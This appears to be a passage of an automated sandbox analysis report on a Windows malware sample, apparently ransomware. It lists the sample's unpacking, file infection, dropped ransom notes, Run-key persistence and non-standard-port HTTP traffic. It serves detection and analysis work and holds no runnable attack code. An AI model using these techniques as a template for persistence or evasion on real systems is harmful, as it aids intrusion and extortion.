Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: ,.pDB source: wct425E.tmp.12.dr
Source:	Binary string: C:\lak\gomi-jetumaki.pdb source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wct425E.tmp.12.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Unpacked PE file: 1.2.OmbNjE.exe.f90000.1.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;A(2uL:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Unpacked PE file: 11.2.OmbNjE.exe.fe0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;A(2uL:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;A(2uL:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Unpacked PE file: 18.2.OmbNjE.exe.280000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;A(2uL:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Unpacked PE file: 23.2.OmbNjE.exe.6f0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;A(2uL:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_004099C9 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_004099C9

Source: initial sample

Static PE information: section where entry point is pointing to: A(2uL

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Static PE information: section name: A(2uL
Source: OmbNjE.exe.0.dr	Static PE information: section name: .aspack
Source: OmbNjE.exe.0.dr	Static PE information: section name: .adata
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.7.dr	Static PE information: section name: A(2uL

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_00507E7B push ebp; ret	0_2_00507E7E
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0040747D push ecx; ret	0_2_00407490
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_00507E85 push 00000000h; ret	0_2_00508296
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_0226308F push ecx; retf	0_2_02263092
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 0_2_02328F05 push ecx; ret	0_2_02328F18
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F91638 push dword ptr [00F93084h]; ret	1_2_00F9170E
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F92D9B push ecx; ret	1_2_00F92DAB
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F96014 push 00F914E1h; ret	1_2_00F96425
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Code function: 1_2_00F9600A push ebp; ret	1_2_00F9600D
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00428565 push ecx; ret	7_2_00428578
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_0222308F push ecx; retf	9_2_02223092
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 9_2_022E8F05 push ecx; ret	9_2_022E8F18
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_021E308F push ecx; retf	10_2_021E3092
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 10_2_022A8F05 push ecx; ret	10_2_022A8F18

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Static PE information: section name: .text entropy: 7.437077348123648
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Static PE information: section name: A(2uL entropy: 6.934577039611706
Source: OmbNjE.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.9349324225117535
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.93455593028338
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.934601739226048
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.7.dr	Static PE information: section name: .text entropy: 7.437077348123648
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.7.dr	Static PE information: section name: A(2uL entropy: 6.934577039611706

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\AppData\Local\Temp\wct425E.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\Local Settings\Temp\tmpF2C2.tmp.mmuz (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.mmuz (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\AppData\Local\Temp\tmpF2C2.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\_readme.txt
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\$WinREAgent\_readme.txt
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\$WinREAgent\Scratch\_readme.txt
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\_readme.txt

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 799

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

7_2_00481920

